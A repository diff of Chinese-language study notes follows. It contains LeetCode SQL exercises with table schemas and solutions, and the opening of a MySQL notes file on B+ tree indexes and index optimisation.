CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
|
||||
INSERT INTO salary ( id, NAME, sex, salary )
|
||||
VALUES
|
||||
( '1', 'A', 'm', '2500' ),
|
||||
( '2', 'B', 'f', '1500' ),
|
||||
( '3', 'C', 'm', '5500' ),
|
||||
( '4', 'D', 'f', '500' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
UPDATE salary
|
||||
SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
|
||||
```
|
||||
|
||||
# 620. Not Boring Movies
|
||||
|
||||
https://leetcode.com/problems/not-boring-movies/description/
|
||||
|
||||
## Description
|
||||
|
||||
|
||||
```html
|
||||
+---------+-----------+--------------+-----------+
|
||||
| id | movie | description | rating |
|
||||
+---------+-----------+--------------+-----------+
|
||||
| 1 | War | great 3D | 8.9 |
|
||||
| 2 | Science | fiction | 8.5 |
|
||||
| 3 | irish | boring | 6.2 |
|
||||
| 4 | Ice song | Fantacy | 8.6 |
|
||||
| 5 | House card| Interesting| 9.1 |
|
||||
+---------+-----------+--------------+-----------+
|
||||
```
|
||||
|
||||
查找 id 为奇数,并且 description 不是 boring 的电影,按 rating 降序。
|
||||
|
||||
```html
|
||||
+---------+-----------+--------------+-----------+
|
||||
| id | movie | description | rating |
|
||||
+---------+-----------+--------------+-----------+
|
||||
| 5 | House card| Interesting| 9.1 |
|
||||
| 1 | War | great 3D | 8.9 |
|
||||
+---------+-----------+--------------+-----------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS cinema;
|
||||
CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
|
||||
INSERT INTO cinema ( id, movie, description, rating )
|
||||
VALUES
|
||||
( 1, 'War', 'great 3D', 8.9 ),
|
||||
( 2, 'Science', 'fiction', 8.5 ),
|
||||
( 3, 'irish', 'boring', 6.2 ),
|
||||
( 4, 'Ice song', 'Fantacy', 8.6 ),
|
||||
( 5, 'House card', 'Interesting', 9.1 );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
*
|
||||
FROM
|
||||
cinema
|
||||
WHERE
|
||||
id % 2 = 1
|
||||
AND description != 'boring'
|
||||
ORDER BY
|
||||
rating DESC;
|
||||
```
|
||||
|
||||
# 596. Classes More Than 5 Students
|
||||
|
||||
https://leetcode.com/problems/classes-more-than-5-students/description/
|
||||
|
||||
## Description
|
||||
|
||||
```html
|
||||
+---------+------------+
|
||||
| student | class |
|
||||
+---------+------------+
|
||||
| A | Math |
|
||||
| B | English |
|
||||
| C | Math |
|
||||
| D | Biology |
|
||||
| E | Math |
|
||||
| F | Computer |
|
||||
| G | Math |
|
||||
| H | Math |
|
||||
| I | Math |
|
||||
+---------+------------+
|
||||
```
|
||||
|
||||
查找有五名及以上 student 的 class。
|
||||
|
||||
```html
|
||||
+---------+
|
||||
| class |
|
||||
+---------+
|
||||
| Math |
|
||||
+---------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS courses;
|
||||
CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
|
||||
INSERT INTO courses ( student, class )
|
||||
VALUES
|
||||
( 'A', 'Math' ),
|
||||
( 'B', 'English' ),
|
||||
( 'C', 'Math' ),
|
||||
( 'D', 'Biology' ),
|
||||
( 'E', 'Math' ),
|
||||
( 'F', 'Computer' ),
|
||||
( 'G', 'Math' ),
|
||||
( 'H', 'Math' ),
|
||||
( 'I', 'Math' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
class
|
||||
FROM
|
||||
courses
|
||||
GROUP BY
|
||||
class
|
||||
HAVING
|
||||
count( DISTINCT student ) >= 5;
|
||||
```
|
||||
|
||||
# 182. Duplicate Emails
|
||||
|
||||
https://leetcode.com/problems/duplicate-emails/description/
|
||||
|
||||
## Description
|
||||
|
||||
邮件地址表:
|
||||
|
||||
```html
|
||||
+----+---------+
|
||||
| Id | Email |
|
||||
+----+---------+
|
||||
| 1 | a@b.com |
|
||||
| 2 | c@d.com |
|
||||
| 3 | a@b.com |
|
||||
+----+---------+
|
||||
```
|
||||
|
||||
查找重复的邮件地址:
|
||||
|
||||
```html
|
||||
+---------+
|
||||
| Email |
|
||||
+---------+
|
||||
| a@b.com |
|
||||
+---------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Person;
|
||||
CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
|
||||
INSERT INTO Person ( Id, Email )
|
||||
VALUES
|
||||
( 1, 'a@b.com' ),
|
||||
( 2, 'c@d.com' ),
|
||||
( 3, 'a@b.com' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
Email
|
||||
FROM
|
||||
Person
|
||||
GROUP BY
|
||||
Email
|
||||
HAVING
|
||||
COUNT( * ) >= 2;
|
||||
```
|
||||
|
||||
# 196. Delete Duplicate Emails
|
||||
|
||||
https://leetcode.com/problems/delete-duplicate-emails/description/
|
||||
|
||||
## Description
|
||||
|
||||
邮件地址表:
|
||||
|
||||
```html
|
||||
+----+---------+
|
||||
| Id | Email |
|
||||
+----+---------+
|
||||
| 1 | a@b.com |
|
||||
| 2 | c@d.com |
|
||||
| 3 | a@b.com |
|
||||
+----+---------+
|
||||
```
|
||||
|
||||
删除重复的邮件地址:
|
||||
|
||||
```html
|
||||
+----+------------------+
|
||||
| Id | Email |
|
||||
+----+------------------+
|
||||
| 1 | john@example.com |
|
||||
| 2 | bob@example.com |
|
||||
+----+------------------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
与 182 相同。
|
||||
|
||||
## Solution
|
||||
|
||||
连接:
|
||||
|
||||
```sql
|
||||
DELETE p1
|
||||
FROM
|
||||
Person p1,
|
||||
Person p2
|
||||
WHERE
|
||||
p1.Email = p2.Email
|
||||
AND p1.Id > p2.Id
|
||||
```
|
||||
|
||||
子查询:
|
||||
|
||||
```sql
|
||||
DELETE
|
||||
FROM
|
||||
Person
|
||||
WHERE
|
||||
id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
|
||||
```
|
||||
|
||||
应该注意的是上述解法额外嵌套了一个 SELECT 语句,如果不这么做,会出现错误:You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
|
||||
|
||||
```sql
|
||||
DELETE
|
||||
FROM
|
||||
Person
|
||||
WHERE
|
||||
id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
|
||||
```
|
||||
|
||||
参考:[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
|
||||
|
||||
# 175. Combine Two Tables
|
||||
|
||||
https://leetcode.com/problems/combine-two-tables/description/
|
||||
|
||||
## Description
|
||||
|
||||
Person 表:
|
||||
|
||||
```html
|
||||
+-------------+---------+
|
||||
| Column Name | Type |
|
||||
+-------------+---------+
|
||||
| PersonId | int |
|
||||
| FirstName | varchar |
|
||||
| LastName | varchar |
|
||||
+-------------+---------+
|
||||
PersonId is the primary key column for this table.
|
||||
```
|
||||
|
||||
Address 表:
|
||||
|
||||
```html
|
||||
+-------------+---------+
|
||||
| Column Name | Type |
|
||||
+-------------+---------+
|
||||
| AddressId | int |
|
||||
| PersonId | int |
|
||||
| City | varchar |
|
||||
| State | varchar |
|
||||
+-------------+---------+
|
||||
AddressId is the primary key column for this table.
|
||||
```
|
||||
|
||||
查找 FirstName, LastName, City, State 数据,而不管一个用户有没有填地址信息。
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Person;
|
||||
CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Address;
|
||||
CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
|
||||
INSERT INTO Person ( PersonId, LastName, FirstName )
|
||||
VALUES
|
||||
( 1, 'Wang', 'Allen' );
|
||||
INSERT INTO Address ( AddressId, PersonId, City, State )
|
||||
VALUES
|
||||
( 1, 2, 'New York City', 'New York' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
使用左外连接。
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
FirstName,
|
||||
LastName,
|
||||
City,
|
||||
State
|
||||
FROM
|
||||
Person P
|
||||
LEFT JOIN Address A
|
||||
ON P.PersonId = A.PersonId;
|
||||
```
|
||||
|
||||
# 181. Employees Earning More Than Their Managers
|
||||
|
||||
https://leetcode.com/problems/employees-earning-more-than-their-managers/description/
|
||||
|
||||
## Description
|
||||
|
||||
Employee 表:
|
||||
|
||||
```html
|
||||
+----+-------+--------+-----------+
|
||||
| Id | Name | Salary | ManagerId |
|
||||
+----+-------+--------+-----------+
|
||||
| 1 | Joe | 70000 | 3 |
|
||||
| 2 | Henry | 80000 | 4 |
|
||||
| 3 | Sam | 60000 | NULL |
|
||||
| 4 | Max | 90000 | NULL |
|
||||
+----+-------+--------+-----------+
|
||||
```
|
||||
|
||||
查找薪资大于其经理薪资的员工信息。
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Employee;
|
||||
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
|
||||
INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
|
||||
VALUES
|
||||
( 1, 'Joe', 70000, 3 ),
|
||||
( 2, 'Henry', 80000, 4 ),
|
||||
( 3, 'Sam', 60000, NULL ),
|
||||
( 4, 'Max', 90000, NULL );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
E1.NAME AS Employee
|
||||
FROM
|
||||
Employee E1
|
||||
INNER JOIN Employee E2
|
||||
ON E1.ManagerId = E2.Id
|
||||
AND E1.Salary > E2.Salary;
|
||||
```
|
||||
|
||||
# 183. Customers Who Never Order
|
||||
|
||||
https://leetcode.com/problems/customers-who-never-order/description/
|
||||
|
||||
## Description
|
||||
|
||||
Curstomers 表:
|
||||
|
||||
```html
|
||||
+----+-------+
|
||||
| Id | Name |
|
||||
+----+-------+
|
||||
| 1 | Joe |
|
||||
| 2 | Henry |
|
||||
| 3 | Sam |
|
||||
| 4 | Max |
|
||||
+----+-------+
|
||||
```
|
||||
|
||||
Orders 表:
|
||||
|
||||
```html
|
||||
+----+------------+
|
||||
| Id | CustomerId |
|
||||
+----+------------+
|
||||
| 1 | 3 |
|
||||
| 2 | 1 |
|
||||
+----+------------+
|
||||
```
|
||||
|
||||
查找没有订单的顾客信息:
|
||||
|
||||
```html
|
||||
+-----------+
|
||||
| Customers |
|
||||
+-----------+
|
||||
| Henry |
|
||||
| Max |
|
||||
+-----------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Customers;
|
||||
CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Orders;
|
||||
CREATE TABLE Orders ( Id INT, CustomerId INT );
|
||||
INSERT INTO Customers ( Id, NAME )
|
||||
VALUES
|
||||
( 1, 'Joe' ),
|
||||
( 2, 'Henry' ),
|
||||
( 3, 'Sam' ),
|
||||
( 4, 'Max' );
|
||||
INSERT INTO Orders ( Id, CustomerId )
|
||||
VALUES
|
||||
( 1, 3 ),
|
||||
( 2, 1 );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
左外链接
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
C.Name AS Customers
|
||||
FROM
|
||||
Customers C
|
||||
LEFT JOIN Orders O
|
||||
ON C.Id = O.CustomerId
|
||||
WHERE
|
||||
O.CustomerId IS NULL;
|
||||
```
|
||||
|
||||
子查询
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
Name AS Customers
|
||||
FROM
|
||||
Customers
|
||||
WHERE
|
||||
Id NOT IN ( SELECT CustomerId FROM Orders );
|
||||
```
|
||||
|
||||
# 184. Department Highest Salary
|
||||
|
||||
https://leetcode.com/problems/department-highest-salary/description/
|
||||
|
||||
## Description
|
||||
|
||||
Employee 表:
|
||||
|
||||
```html
|
||||
+----+-------+--------+--------------+
|
||||
| Id | Name | Salary | DepartmentId |
|
||||
+----+-------+--------+--------------+
|
||||
| 1 | Joe | 70000 | 1 |
|
||||
| 2 | Henry | 80000 | 2 |
|
||||
| 3 | Sam | 60000 | 2 |
|
||||
| 4 | Max | 90000 | 1 |
|
||||
+----+-------+--------+--------------+
|
||||
```
|
||||
|
||||
Department 表:
|
||||
|
||||
```html
|
||||
+----+----------+
|
||||
| Id | Name |
|
||||
+----+----------+
|
||||
| 1 | IT |
|
||||
| 2 | Sales |
|
||||
+----+----------+
|
||||
```
|
||||
|
||||
查找一个 Department 中收入最高者的信息:
|
||||
|
||||
```html
|
||||
+------------+----------+--------+
|
||||
| Department | Employee | Salary |
|
||||
+------------+----------+--------+
|
||||
| IT | Max | 90000 |
|
||||
| Sales | Henry | 80000 |
|
||||
+------------+----------+--------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE IF EXISTS Employee;
|
||||
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
|
||||
DROP TABLE IF EXISTS Department;
|
||||
CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
|
||||
INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
|
||||
VALUES
|
||||
( 1, 'Joe', 70000, 1 ),
|
||||
( 2, 'Henry', 80000, 2 ),
|
||||
( 3, 'Sam', 60000, 2 ),
|
||||
( 4, 'Max', 90000, 1 );
|
||||
INSERT INTO Department ( Id, NAME )
|
||||
VALUES
|
||||
( 1, 'IT' ),
|
||||
( 2, 'Sales' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
创建一个临时表,包含了部门员工的最大薪资。可以对部门进行分组,然后使用 MAX() 汇总函数取得最大薪资。
|
||||
|
||||
之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
D.NAME Department,
|
||||
E.NAME Employee,
|
||||
E.Salary
|
||||
FROM
|
||||
Employee E,
|
||||
Department D,
|
||||
( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
|
||||
WHERE
|
||||
E.DepartmentId = D.Id
|
||||
AND E.DepartmentId = M.DepartmentId
|
||||
AND E.Salary = M.Salary;
|
||||
```
|
||||
|
||||
# 176. Second Highest Salary
|
||||
|
||||
https://leetcode.com/problems/second-highest-salary/description/
|
||||
|
||||
## Description
|
||||
|
||||
```html
|
||||
+----+--------+
|
||||
| Id | Salary |
|
||||
+----+--------+
|
||||
| 1 | 100 |
|
||||
| 2 | 200 |
|
||||
| 3 | 300 |
|
||||
+----+--------+
|
||||
```
|
||||
|
||||
查找工资第二高的员工。
|
||||
|
||||
```html
|
||||
+---------------------+
|
||||
| SecondHighestSalary |
|
||||
+---------------------+
|
||||
| 200 |
|
||||
+---------------------+
|
||||
```
|
||||
|
||||
没有找到返回 null 而不是不返回数据。
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Employee;
|
||||
CREATE TABLE Employee ( Id INT, Salary INT );
|
||||
INSERT INTO Employee ( Id, Salary )
|
||||
VALUES
|
||||
( 1, 100 ),
|
||||
( 2, 200 ),
|
||||
( 3, 300 );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
为了在没有查找到数据时返回 null,需要在查询结果外面再套一层 SELECT。
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
|
||||
```
|
||||
|
||||
# 177. Nth Highest Salary
|
||||
|
||||
## Description
|
||||
|
||||
查找工资第 N 高的员工。
|
||||
|
||||
## SQL Schema
|
||||
|
||||
同 176。
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
|
||||
|
||||
SET N = N - 1;
|
||||
RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
|
||||
|
||||
END
|
||||
```
|
||||
|
||||
# 178. Rank Scores
|
||||
|
||||
https://leetcode.com/problems/rank-scores/description/
|
||||
|
||||
## Description
|
||||
|
||||
得分表:
|
||||
|
||||
```html
|
||||
+----+-------+
|
||||
| Id | Score |
|
||||
+----+-------+
|
||||
| 1 | 3.50 |
|
||||
| 2 | 3.65 |
|
||||
| 3 | 4.00 |
|
||||
| 4 | 3.85 |
|
||||
| 5 | 4.00 |
|
||||
| 6 | 3.65 |
|
||||
+----+-------+
|
||||
```
|
||||
|
||||
将得分排序,并统计排名。
|
||||
|
||||
```html
|
||||
+-------+------+
|
||||
| Score | Rank |
|
||||
+-------+------+
|
||||
| 4.00 | 1 |
|
||||
| 4.00 | 1 |
|
||||
| 3.85 | 2 |
|
||||
| 3.65 | 3 |
|
||||
| 3.65 | 3 |
|
||||
| 3.50 | 4 |
|
||||
+-------+------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS Scores;
|
||||
CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
|
||||
INSERT INTO Scores ( Id, Score )
|
||||
VALUES
|
||||
( 1, 3.5 ),
|
||||
( 2, 3.65 ),
|
||||
( 3, 4.0 ),
|
||||
( 4, 3.85 ),
|
||||
( 5, 4.0 ),
|
||||
( 6, 3.65 );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
S1.score,
|
||||
COUNT( DISTINCT S2.score ) Rank
|
||||
FROM
|
||||
Scores S1
|
||||
INNER JOIN Scores S2
|
||||
ON S1.score <= S2.score
|
||||
GROUP BY
|
||||
S1.id
|
||||
ORDER BY
|
||||
S1.score DESC;
|
||||
```
|
||||
|
||||
# 180. Consecutive Numbers
|
||||
|
||||
https://leetcode.com/problems/consecutive-numbers/description/
|
||||
|
||||
## Description
|
||||
|
||||
数字表:
|
||||
|
||||
```html
|
||||
+----+-----+
|
||||
| Id | Num |
|
||||
+----+-----+
|
||||
| 1 | 1 |
|
||||
| 2 | 1 |
|
||||
| 3 | 1 |
|
||||
| 4 | 2 |
|
||||
| 5 | 1 |
|
||||
| 6 | 2 |
|
||||
| 7 | 2 |
|
||||
+----+-----+
|
||||
```
|
||||
|
||||
查找连续出现三次的数字。
|
||||
|
||||
```html
|
||||
+-----------------+
|
||||
| ConsecutiveNums |
|
||||
+-----------------+
|
||||
| 1 |
|
||||
+-----------------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS LOGS;
|
||||
CREATE TABLE LOGS ( Id INT, Num INT );
|
||||
INSERT INTO LOGS ( Id, Num )
|
||||
VALUES
|
||||
( 1, 1 ),
|
||||
( 2, 1 ),
|
||||
( 3, 1 ),
|
||||
( 4, 2 ),
|
||||
( 5, 1 ),
|
||||
( 6, 2 ),
|
||||
( 7, 2 );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
DISTINCT L1.num ConsecutiveNums
|
||||
FROM
|
||||
Logs L1,
|
||||
Logs L2,
|
||||
Logs L3
|
||||
WHERE L1.id = l2.id - 1
|
||||
AND L2.id = L3.id - 1
|
||||
AND L1.num = L2.num
|
||||
AND l2.num = l3.num;
|
||||
```
|
||||
|
||||
# 626. Exchange Seats
|
||||
|
||||
https://leetcode.com/problems/exchange-seats/description/
|
||||
|
||||
## Description
|
||||
|
||||
seat 表存储着座位对应的学生。
|
||||
|
||||
```html
|
||||
+---------+---------+
|
||||
| id | student |
|
||||
+---------+---------+
|
||||
| 1 | Abbot |
|
||||
| 2 | Doris |
|
||||
| 3 | Emerson |
|
||||
| 4 | Green |
|
||||
| 5 | Jeames |
|
||||
+---------+---------+
|
||||
```
|
||||
|
||||
要求交换相邻座位的两个学生,如果最后一个座位是奇数,那么不交换这个座位上的学生。
|
||||
|
||||
```html
|
||||
+---------+---------+
|
||||
| id | student |
|
||||
+---------+---------+
|
||||
| 1 | Doris |
|
||||
| 2 | Abbot |
|
||||
| 3 | Green |
|
||||
| 4 | Emerson |
|
||||
| 5 | Jeames |
|
||||
+---------+---------+
|
||||
```
|
||||
|
||||
## SQL Schema
|
||||
|
||||
```sql
|
||||
DROP TABLE
|
||||
IF
|
||||
EXISTS seat;
|
||||
CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
|
||||
INSERT INTO seat ( id, student )
|
||||
VALUES
|
||||
( '1', 'Abbot' ),
|
||||
( '2', 'Doris' ),
|
||||
( '3', 'Emerson' ),
|
||||
( '4', 'Green' ),
|
||||
( '5', 'Jeames' );
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
使用多个 union。
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
s1.id - 1 AS id,
|
||||
s1.student
|
||||
FROM
|
||||
seat s1
|
||||
WHERE
|
||||
s1.id MOD 2 = 0 UNION
|
||||
SELECT
|
||||
s2.id + 1 AS id,
|
||||
s2.student
|
||||
FROM
|
||||
seat s2
|
||||
WHERE
|
||||
s2.id MOD 2 = 1
|
||||
AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
|
||||
SELECT
|
||||
s4.id AS id,
|
||||
s4.student
|
||||
FROM
|
||||
seat s4
|
||||
WHERE
|
||||
s4.id MOD 2 = 1
|
||||
AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
|
||||
ORDER BY
|
||||
id;
|
||||
```
|
1247
docs/notes/Linux.md
Normal file
1247
docs/notes/Linux.md
Normal file
File diff suppressed because it is too large
Load Diff
422
docs/notes/MySQL.md
Normal file
422
docs/notes/MySQL.md
Normal file
@ -0,0 +1,422 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、索引](#一索引)
|
||||
* [B+ Tree 原理](#b-tree-原理)
|
||||
* [MySQL 索引](#mysql-索引)
|
||||
* [索引优化](#索引优化)
|
||||
* [索引的优点](#索引的优点)
|
||||
* [索引的使用条件](#索引的使用条件)
|
||||
* [二、查询性能优化](#二查询性能优化)
|
||||
* [使用 Explain 进行分析](#使用-explain-进行分析)
|
||||
* [优化数据访问](#优化数据访问)
|
||||
* [重构查询方式](#重构查询方式)
|
||||
* [三、存储引擎](#三存储引擎)
|
||||
* [InnoDB](#innodb)
|
||||
* [MyISAM](#myisam)
|
||||
* [比较](#比较)
|
||||
* [四、数据类型](#四数据类型)
|
||||
* [整型](#整型)
|
||||
* [浮点数](#浮点数)
|
||||
* [字符串](#字符串)
|
||||
* [时间和日期](#时间和日期)
|
||||
* [五、切分](#五切分)
|
||||
* [水平切分](#水平切分)
|
||||
* [垂直切分](#垂直切分)
|
||||
* [Sharding 策略](#sharding-策略)
|
||||
* [Sharding 存在的问题](#sharding-存在的问题)
|
||||
* [六、复制](#六复制)
|
||||
* [主从复制](#主从复制)
|
||||
* [读写分离](#读写分离)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、索引
|
||||
|
||||
## B+ Tree 原理
|
||||
|
||||
### 1. 数据结构
|
||||
|
||||
B Tree 指的是 Balance Tree,也就是平衡树。平衡树是一颗查找树,并且所有叶子节点位于同一层。
|
||||
|
||||
B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现,它具有 B Tree 的平衡性,并且通过顺序访问指针来提高区间查询的性能。
|
||||
|
||||
在 B+ Tree 中,一个节点中的 key 从左到右非递减排列,如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null,则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
|
||||
|
||||
<div align="center"> <img src="../pics//061c88c1-572f-424f-b580-9cbce903a3fe.png"/> </div><br>
|
||||
|
||||
### 2. 操作
|
||||
|
||||
进行查找操作时,首先在根节点进行二分查找,找到一个 key 所在的指针,然后递归地在指针所指向的节点进行查找。直到查找到叶子节点,然后在叶子节点上进行二分查找,找出 key 所对应的 data。
|
||||
|
||||
插入删除操作会破坏平衡树的平衡性,因此在插入删除操作之后,需要对树进行一个分裂、合并、旋转等操作来维护平衡性。
|
||||
|
||||
### 3. 与红黑树的比较
|
||||
|
||||
红黑树等平衡树也可以用来实现索引,但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构,主要有以下两个原因:
|
||||
|
||||
(一)更少的查找次数
|
||||
|
||||
平衡树查找操作的时间复杂度等于树高 h,而树高大致为 O(h)=O(log<sub>d</sub>N),其中 d 为每个节点的出度。
|
||||
|
||||
红黑树的出度为 2,而 B+ Tree 的出度一般都非常大,所以红黑树的树高 h 很明显比 B+ Tree 大非常多,查找的次数也就更多。
|
||||
|
||||
(二)利用磁盘预读特性
|
||||
|
||||
为了减少磁盘 I/O,磁盘往往不是严格按需读取,而是每次都会预读。预读过程中,磁盘进行顺序读取,顺序读取不需要进行磁盘寻道,并且只需要很短的旋转时间,速度会非常快。
|
||||
|
||||
操作系统一般将内存和磁盘分割成固态大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性,相邻的节点也能够被预先载入。
|
||||
|
||||
## MySQL 索引
|
||||
|
||||
索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。
|
||||
|
||||
### 1. B+Tree 索引
|
||||
|
||||
是大多数 MySQL 存储引擎的默认索引类型。
|
||||
|
||||
因为不再需要进行全表扫描,只需要对树进行搜索即可,所以查找速度快很多。
|
||||
|
||||
除了用于查找,还可以用于排序和分组。
|
||||
|
||||
可以指定多个列作为索引列,多个索引列共同组成键。
|
||||
|
||||
适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找,则无法使用索引。
|
||||
|
||||
InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录,这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
|
||||
|
||||
<div align="center"> <img src="../pics//c28c6fbc-2bc1-47d9-9b2e-cf3d4034f877.jpg"/> </div><br>
|
||||
|
||||
辅助索引的叶子节点的 data 域记录着主键的值,因此在使用辅助索引进行查找时,需要先查找到主键值,然后再到主索引中进行查找。
|
||||
|
||||
<div align="center"> <img src="../pics//7ab8ca28-2a41-4adf-9502-cc0a21e63b51.jpg"/> </div><br>
|
||||
|
||||
### 2. 哈希索引
|
||||
|
||||
哈希索引能以 O(1) 时间进行查找,但是失去了有序性:
|
||||
|
||||
- 无法用于排序与分组;
|
||||
- 只支持精确查找,无法用于部分查找和范围查找。
|
||||
|
||||
InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
|
||||
|
||||
### 3. 全文索引
|
||||
|
||||
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较是否相等。
|
||||
|
||||
查找条件使用 MATCH AGAINST,而不是普通的 WHERE。
|
||||
|
||||
全文索引使用倒排索引实现,它记录着关键词到其所在文档的映射。
|
||||
|
||||
InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
|
||||
|
||||
### 4. 空间数据索引
|
||||
|
||||
MyISAM 存储引擎支持空间数据索引(R-Tree),可以用于地理数据存储。空间数据索引会从所有维度来索引数据,可以有效地使用任意维度来进行组合查询。
|
||||
|
||||
必须使用 GIS 相关的函数来维护数据。
|
||||
|
||||
## 索引优化
|
||||
|
||||
### 1. 独立的列
|
||||
|
||||
在进行查询时,索引列不能是表达式的一部分,也不能是函数的参数,否则无法使用索引。
|
||||
|
||||
例如下面的查询不能使用 actor_id 列的索引:
|
||||
|
||||
```sql
|
||||
SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
|
||||
```
|
||||
|
||||
### 2. 多列索引
|
||||
|
||||
在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id 和 film_id 设置为多列索引。
|
||||
|
||||
```sql
|
||||
SELECT film_id, actor_ id FROM sakila.film_actor
|
||||
WHERE actor_id = 1 AND film_id = 1;
|
||||
```
|
||||
|
||||
### 3. 索引列的顺序
|
||||
|
||||
让选择性最强的索引列放在前面。
|
||||
|
||||
索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1,此时每个记录都有唯一的索引与其对应。选择性越高,查询效率也越高。
|
||||
|
||||
